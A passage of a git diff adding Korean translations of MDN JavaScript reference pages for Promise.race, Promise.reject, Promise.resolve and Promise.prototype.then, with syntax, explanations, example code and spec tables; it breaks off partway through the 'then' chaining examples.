+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.prototype")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/race/index.html b/files/ko/web/javascript/reference/global_objects/promise/race/index.html
new file mode 100644
index 0000000000..0874d619dd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/race/index.html
@@ -0,0 +1,187 @@
+---
+title: Promise.race()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/race
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Promise
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.race()</strong></code> 메소드는 Promise 객체를 반환합니다. 이 프로미스 객체는 iterable 안에 있는 프로미스 중에 가장 먼저 완료된 것의 결과값으로 그대로 이행하거나 거부합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-race.html")}}</div>
+
+<p class="hidden">해당 예제의 소스 코드는 GitHub 리포지토리에 저장되어 있습니다. 인터랙티브 데모 프로젝트에 기여하고 싶다면 <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 를 클론하고 pull request를 보내 주세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Promise.race(<em>iterable</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>{{jsxref("Array")}}와 같은 iterable 객체. <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">iterable</a>을 참고하세요.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>주어진 iterable에서 처음으로 이행하거나 거부한 프로미스의 값을 <strong>비동기적으로</strong> 전달받는 <strong>대기 중</strong>인 {{jsxref("Promise")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>race</code> 함수는 인자로 주어진 iterable의 프로미스 중 가장 먼저 완료(settle)되는 것과 같은 방식으로 완료(이행/거부)되고, 같은 결과값을 전달하는 <code>Promise</code>를 반환합니다.</p>
+
+<p>전달받은 iterable이 비어 있을 경우, 반환한 프로미스는 영원히 대기 상태가 됩니다.</p>
+
+<p>Iterable에 프로미스가 아닌 값이나 이미 완료된 프로미스가 포함되어 있을 경우, <code>Promise.race</code>는 전달받은 iterable에서 처음으로 등장하는 이러한 값을 결과값으로 이행합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Promise.race의_비동기성"><font face="consolas, Liberation Mono, courier, monospace"><code>Promise.race</code>의 비동기성</font></h3>
+
+<p>다음 예제에서 <code>Promise.race</code>의 비동기성을 확인할 수 있습니다.</p>
+
+<pre class="brush: js">// Promise.race를 최대한 빨리 완료시키기 위해
+// 이미 이행된 프로미스로 배열을 만들어 인자로 전달
+var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
+
+var p = Promise.race(resolvedPromisesArray);
+// 실행 즉시 p의 값을 기록
+console.log(p);
+
+// 호출 스택을 비운 다음 실행하기 위해 setTimeout을 사용
+setTimeout(function(){
+ console.log('the stack is now empty');
+ console.log(p);
+});
+
+// 로그 출력 결과 (순서대로):
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: 33 }</pre>
+
+<p>비어 있는 iterable을 전달하면 반환한 프로미스는 영원히 대기 상태가 됩니다.</p>
+
+<pre class="brush: js">var foreverPendingPromise = Promise.race([]);
+console.log(foreverPendingPromise);
+setTimeout(function(){
+ console.log('the stack is now empty');
+ console.log(foreverPendingPromise);
+});
+
+// 로그 출력 결과 (순서대로):
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "pending" }
+</pre>
+
+<p>Iterable에 프로미스가 아닌 값이나 이미 완료된 프로미스가 포함되어 있을 경우, <code>Promise.race</code>는 전달받은 iterable에서 처음으로 등장하는 이러한 값을 결과값으로 이행합니다.</p>
+
+<pre class="brush: js">var foreverPendingPromise = Promise.race([]);
+var alreadyFulfilledProm = Promise.resolve(666);
+
+var arr = [foreverPendingPromise, alreadyFulfilledProm, "프로미스 아님"];
+var arr2 = [foreverPendingPromise, "프로미스 아님", Promise.resolve(666)];
+var p = Promise.race(arr);
+var p2 = Promise.race(arr2);
+
+console.log(p);
+console.log(p2);
+setTimeout(function(){
+ console.log('the stack is now empty');
+ console.log(p);
+ console.log(p2);
+});
+
+// 로그 출력 결과 (순서대로):
+// Promise { &lt;state&gt;: "pending" }
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: 666 }
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: "프로미스 아님" }
+</pre>
+
+<h3 id="setTimeout과_함께_Promise.race_사용_예"><code>setTimeout</code>과 함께 <code>Promise.race</code> 사용 예</h3>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> p1 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">resolve</span><span class="punctuation token">(</span><span class="string token">'하나'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">500</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> p2 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">resolve</span><span class="punctuation token">(</span><span class="string token">'둘'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+Promise<span class="punctuation token">.</span><span class="function token">race</span><span class="punctuation token">(</span><span class="punctuation token">[</span>p1<span class="punctuation token">,</span> p2<span class="punctuation token">]</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">value</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "둘"</span>
+ <span class="comment token">// 둘 다 이행하지만 p2가 더 빠르므로</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> p3 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">resolve</span><span class="punctuation token">(</span><span class="string token">'셋'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> p4 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">reject</span><span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'넷'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">500</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+Promise<span class="punctuation token">.</span><span class="function token">race</span><span class="punctuation token">(</span><span class="punctuation token">[</span>p3<span class="punctuation token">,</span> p4<span class="punctuation token">]</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">value</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "셋"</span>
+ <span class="comment token">// p3이 더 빠르므로 이행함</span>
+<span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">reason</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token">// 실행되지 않음</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> p5 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">resolve</span><span class="punctuation token">(</span><span class="string token">'다섯'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">500</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> p6 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">reject</span><span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'여섯'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+Promise<span class="punctuation token">.</span><span class="function token">race</span><span class="punctuation token">(</span><span class="punctuation token">[</span>p5<span class="punctuation token">,</span> p6<span class="punctuation token">]</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">value</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token">// 실행되지 않음</span>
+<span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">error</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>error<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "여섯"</span>
+ <span class="comment token">// p6이 더 빠르므로 거부함</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-promise.race', 'Promise.race')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>ECMA 표준에서 초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-promise.race', 'Promise.race')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.race")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.all()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/reject/index.html b/files/ko/web/javascript/reference/global_objects/promise/reject/index.html
new file mode 100644
index 0000000000..a376940d7e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/reject/index.html
@@ -0,0 +1,81 @@
+---
+title: Promise.reject()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/reject
+tags:
+ - ECMAScript6
+ - JavaScript
+ - Method
+ - Promise
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.reject(reason)</strong></code> 메서드는 주어진 이유(reason)로 거부된 <code>Promise</code> 객체를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>Promise.reject(reason)</var>;</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt>reason</dt>
+ <dd>이 <code>Promise</code>를 거부한 이유.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>정적 <code>Promise.reject</code> 함수는 거부된 <code>Promise</code>를 반환합니다. 디버깅 목적 및 선택된 오류를 잡기 위해, <code>reason</code>을 <code>instanceof</code> {{jsxref("Error")}} 이게 하는데 유용합니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="정적_Promise.reject()_메서드_사용">정적 Promise.reject() 메서드 사용</h3>
+
+<pre class="brush: js">Promise.reject("Testing static reject").then(function(reason) {
+ // 호출되지 않음
+}, function(reason) {
+ console.log(reason); // "Testing static reject"
+});
+
+Promise.reject(new Error("fail")).then(function(error) {
+ // 호출되지 않음
+}, function(error) {
+ console.log(error); // Stacktrace
+});</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-promise.reject', 'Promise.reject')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>ECMA 표준에서 초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-promise.reject', 'Promise.reject')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.reject")}}</p>
+
+<p> </p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://github.com/petkaantonov/bluebird#error-handling">BlueBird Promise 라이브러리를 사용해 선택된 오류 잡기</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/resolve/index.html b/files/ko/web/javascript/reference/global_objects/promise/resolve/index.html
new file mode 100644
index 0000000000..64180ef2bf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/resolve/index.html
@@ -0,0 +1,162 @@
+---
+title: Promise.resolve()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/resolve
+tags:
+ - ECMAScript6
+ - JavaScript
+ - Method
+ - Promise
+ - 레퍼런스
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.resolve(value)</strong></code> 메서드는 주어진 값으로 이행하는 {{jsxref("Promise.then")}} 객체를 반환합니다. 그 값이 프로미스인 경우, 해당 프로미스가 반환됩니다. 그 값이 thenable(예, {{jsxref("Promise.then", "\"then\" 메소드")}} 가 있음)인 경우, 반환된 프로미스는 그 thenable을 "따르며", 그 최종 상태를 취합니다. 그렇지 않으면 반환된 프로미스는 그 값으로 이행합니다. 이 함수는 프로미스형의 객체(무언가를 결정하는 프로미스를 결정하는 프로미스 등)의 중첩된 레이어를 단일 레이어로 펼칩니다.</p>
+
+<div class="blockIndicator warning">
+<p><strong>주의</strong>: 스스로를 결정하는 thenable 에서 <code>Promise.resolve</code> 를 호출하면 안됩니다. 이는 무한히 중첩된 프로미스를 펼치려고하므로 무한 재귀를 유발할 것입니다. Angular 에서 <code>async</code> Pipe 를 함께 사용한 <a href="https://stackblitz.com/edit/angular-promiseresovle-with-async-pipe?file=src/app/app.component.ts">예제</a>입니다. 자세한 내용은<a href="https://angular.io/guide/template-syntax#avoid-side-effects"> 여기</a>에서 확인하세요.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-resolve.html")}}</div>
+
+<div class="hidden">
+<p>The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>Promise.resolve(value)</var>;
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>이 <code>Promise</code>에 의해 결정되는 인수. <code>Promise</code> 또는 이행할 thenable 일수도 있습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<dl>
+ <dd>
+ <p>주어진 값으로 이행된 {{jsxref("Promise")}} 또는 값이 promise 객체인 경우, 값으로 전달된 promise. </p>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>정적 <code>Promise.resolve</code> 함수는 이행된 <code>Promise</code> 를 반환합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="정적_Promise.resolve_메소드_사용">정적 <code>Promise.resolve</code> 메소드 사용</h3>
+
+<pre class="brush: js">Promise.resolve("Success").then(function(value) {
+ console.log(value); // "Success"
+}, function(value) {
+ // 호출되지 않음
+});
+</pre>
+
+<h3 id="배열_이행">배열 이행</h3>
+
+<pre class="brush: js">var p = Promise.resolve([1,2,3]);
+p.then(function(v) {
+ console.log(v[0]); // 1
+});
+</pre>
+
+<h3 id="또_다른_Promise_이행">또 다른 <code>Promise</code> 이행</h3>
+
+<pre class="brush: js">var original = Promise.resolve(33);
+var cast = Promise.resolve(original);
+cast.then(function(value) {
+ console.log('value: ' + value);
+});
+<code>console.log('original === cast ? ' + (original === cast));
+</code>
+<code>// 로그 순서:
+// original === cast ? true
+// value: 33</code>
+</pre>
+
+<p>로그의 순서가 반대인 이유는 <code>then</code> 핸들러가 비동기로 호출되기 때문입니다. <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/then#then_%EB%A9%94%EC%84%9C%EB%93%9C_%EC%82%AC%EC%9A%A9">여기</a>에서 <code>then</code> 이 동작하는 방식에 대해 확인하세요.</p>
+
+<h3 id="thenable_이행_및_오류_발생">thenable 이행 및 오류 발생</h3>
+
+<pre class="brush: js">// thenable 객체 이행
+var p1 = Promise.resolve({
+ then: function(onFulfill, onReject) { onFulfill("fulfilled!"); }
+});
+console.log(p1 instanceof Promise) // true, 객체는 Promise 로 변환됨
+
+p1.then(function(v) {
+ console.log(v); // "fulfilled!"
+ }, function(e) {
+ // 호출되지 않음
+});
+
+// thenable 이 콜백 이전에 오류를 throw
+// Promise 거부
+var thenable = { then: function(resolve) {
+ throw new TypeError("Throwing");
+ resolve("Resolving");
+}};
+
+var p2 = Promise.resolve(thenable);
+p2.then(function(v) {
+ // 호출되지 않음
+}, function(e) {
+ console.log(e); // TypeError: Throwing
+});
+
+// thenable 이 콜백 이후에 오류를 throw
+// Promise 이행
+var thenable = { then: function(resolve) {
+ resolve("Resolving");
+ throw new TypeError("Throwing");
+}};
+
+var p3 = Promise.resolve(thenable);
+p3.then(function(v) {
+ console.log(v); // "Resolving"
+}, function(e) {
+ // 호출되지 않음
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>ECMA 표준에서 초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Promise.resolve")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/then/index.html b/files/ko/web/javascript/reference/global_objects/promise/then/index.html
new file mode 100644
index 0000000000..b7f79eee9c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/then/index.html
@@ -0,0 +1,308 @@
+---
+title: Promise.prototype.then()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/then
+tags:
+ - ECMAScript6
+ - JavaScript
+ - Method
+ - Promise
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>then()</strong></code> 메서드는 {{domxref("Promise")}}를 리턴하고 두 개의 콜백 함수를 인수로 받습니다. 하나는 <code>Promise</code>가 <strong>이행</strong>했을 때, 다른 하나는 <strong>거부</strong>했을 때를 위한 콜백 함수입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-then.html")}}</div>
+
+<p class="hidden">해당 예제의 소스 코드는 GitHub 리포지토리에 저장되어 있습니다. 인터랙티브 데모 프로젝트에 기여하고 싶다면 <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 를 클론하고 pull request를 보내 주세요.</p>
+
+<div class="note">
+<p>매개변수 중 하나 이상을 생략했거나 함수가 아닌 값을 전달한 경우, <code>then</code>은 핸들러가 없는 것이 되지만 오류를 발생하지는 않습니다. <code>then</code> 바로 이전의 <code>Promise</code>가 <code>then</code>에 핸들러가 없는 상태로 완료(이행이나 거부)했을 경우, 추가 핸들러가 없는 <code>Promise</code>가 생성되며, 원래 <code>Promise</code>의 마지막 상태를 그대로 물려받습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>p.then(onFulfilled, onRejected)</var>;
+
+p.then(function(value) {
+ // 이행
+}, function(reason) {
+ // 거부
+});
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>onFulfilled</code></dt>
+ <dd><code>Promise</code>가 수행될 때 호출되는 {{jsxref("Function")}}으로, <strong>이행 값(fulfillment value)</strong> 하나를 인수로 받습니다.</dd>
+ <dt><code>onRejected</code></dt>
+ <dd><code>Promise</code>가 거부될 때 호출되는 {{jsxref("Function")}}으로, <strong>거부 이유(rejection reason)</strong> 하나를 인수로 받습니다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>{{jsxref("Promise")}}가 이행하거나 거부했을 때, 각각에 해당하는 핸들러 함수(<code style="font-style: normal; font-weight: normal;">onFulfilled</code>나 <code style="font-style: normal; font-weight: normal;">onRejected</code>)가 <strong>비동기적으로</strong> 실행됩니다. 핸들러 함수는 다음 규칙을 따라 실행됩니다.</p>
+
+<ul>
+ <li>함수가 값을 반환할 경우, <code>then</code>에서 반환한 프로미스는 그 반환값을 자신의 결과값으로 하여 이행합니다.</li>
+ <li>값을 반환하지 않을 경우, <code>then</code>에서 반환한 프로미스는 <code>undefined</code>를 결과값으로 하여 이행합니다.</li>
+ <li>오류가 발생할 경우, <code>then</code>에서 반환한 프로미스는 그 오류를 자신의 결과값으로 하여 거부합니다.</li>
+ <li>이미 이행한 프로미스를 반환할 경우, <code>then</code>에서 반환한 프로미스는 그 프로미스의 결과값을 자신의 결과값으로 하여 이행합니다.</li>
+ <li>이미 거부한 프로미스를 반환할 경우, <code>then</code>에서 반환한 프로미스는 그 프로미스의 결과값을 자신의 결과값으로 하여 거부합니다.</li>
+ <li><strong>대기 중</strong>인 프로미스를 반환할 경우, <code>then</code>에서 반환한 프로미스는 그 프로미스의 이행 여부와 결과값을 따릅니다.</li>
+</ul>
+
+<p>다음 예제에서 <code>then</code> 메서드의 비동기성을 확인할 수 있습니다.</p>
+
+<pre class="brush: js">// 이행한 프로미스를 받으면 'then' 블록도 바로 실행되지만,
+// 핸들러는 아래 console.log에서와 같이 비동기적으로 실행됨
+const resolvedProm = Promise.resolve(33);
+
+let thenProm = resolvedProm.then(value =&gt; {
+ console.log("이 부분은 호출 스택 이후에 실행됩니다. 전달받은 값이자 반환값은 " + value + "입니다.");
+ return value;
+});
+// thenProm의 값을 즉시 기록
+console.log(thenProm);
+
+// setTimeout으로 함수 실행을 호출 스택이 빌 때까지 미룰 수 있음
+setTimeout(() =&gt; {
+ console.log(thenProm);
+});
+
+
+// 로그 출력 결과 (순서대로):
+// Promise {[[PromiseStatus]]: "pending", [[PromiseValue]]: undefined}
+// "이 부분은 호출 스택 이후에 실행됩니다. 전달받은 값이자 반환값은 33입니다."
+// Promise {[[PromiseStatus]]: "resolved", [[PromiseValue]]: 33}</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>then</code>과 {{jsxref("Promise.prototype.catch()")}} 메서드는 프로미스를 반환하기 때문에, 체이닝이 가능합니다. 이를 <em>합성</em>이라고도 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="then_메서드_사용"><code>then</code> 메서드 사용</h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+ resolve("성공!");
+ // 또는
+ // reject("오류!");
+});
+
+p1.then(function(value) {
+ console.log(value); // 성공!
+}, function(reason) {
+ console.log(reason); // 오류!
+});
+</pre>
+
+<h3 id="체이닝">체이닝</h3>
+
+<p><code>then</code> 메서드는 <code>Promise</code>를 리턴하기 때문에, 이어지는 <code>then</code> 호출들을 손쉽게 연결할 수 있습니다.</p>
+
+<p><code>then</code>에 핸들러로 전달된 함수가 프로미스를 반환할 경우, 이와 동등한 프로미스가 메서드 체인의 그다음 <code>then</code>에 노출됩니다. 아래 예제에서는 <code>setTimeout</code> 함수로 비동기 코드를 흉내냅니다.</p>
+
+<pre class="brush: js">Promise.resolve('foo')
+ // 1. "foo"를 받고 "bar"를 추가한 다음 그 값으로 이행하여 다음 then에 넘겨줌
+ .then(function(string) {
+ return new Promise(function(resolve, reject) {
+ setTimeout(function() {
+ string += 'bar';
+ resolve(string);
+ }, 1);
+ });
+ })
+ // 2. "foobar"를 받고 그대로 다음 then에 넘겨준 뒤,
+ // 나중에 콜백 함수에서 가공하고 콘솔에 출력
+ .then(function(string) {
+ setTimeout(function() {
+ string += 'baz';
+ console.log(string);
+ }, 1)
+ return string;
+ })
+ // 3. 이 부분의 코드는 이전의 then 블록 안의 (가짜) 비동기 코드에서
+ // 실제로 문자열을 가공하기 전에 실행됨
+ .then(function(string) {
+ console.log("마지막 Then: 앗... 방금 then에서 프로미스 만들고 반환하는 걸 까먹어서 " +
+ "출력 순서가 좀 이상할지도 몰라요");
+
+ // 'baz' 부분은 setTimeout 함수로 비동기적으로 실행되기 때문에
+ // 이곳의 string에는 아직 'baz' 부분이 없음
+ console.log(string);
+ });
+
+// 로그 출력 결과 (순서대로):
+// 마지막 Then: 앗... 방금 then에서 프로미스 만들고 반환하는 걸 까먹어서 출력 순서가 좀 이상할지도 몰라요
+// foobar
+// foobarbaz</pre>
+
+<p><code>then</code> 핸들러에서 값을 그대로 반환한 경우에는 <code>Promise.resolve(&lt;핸들러에서 반환한 값&gt;)</code>을 반환하는 것과 같습니다.</p>
+
+<pre class="brush: js">var p2 = new Promise(function(resolve, reject) {
+ resolve(1);
+});
+
+p2.then(function(value) {
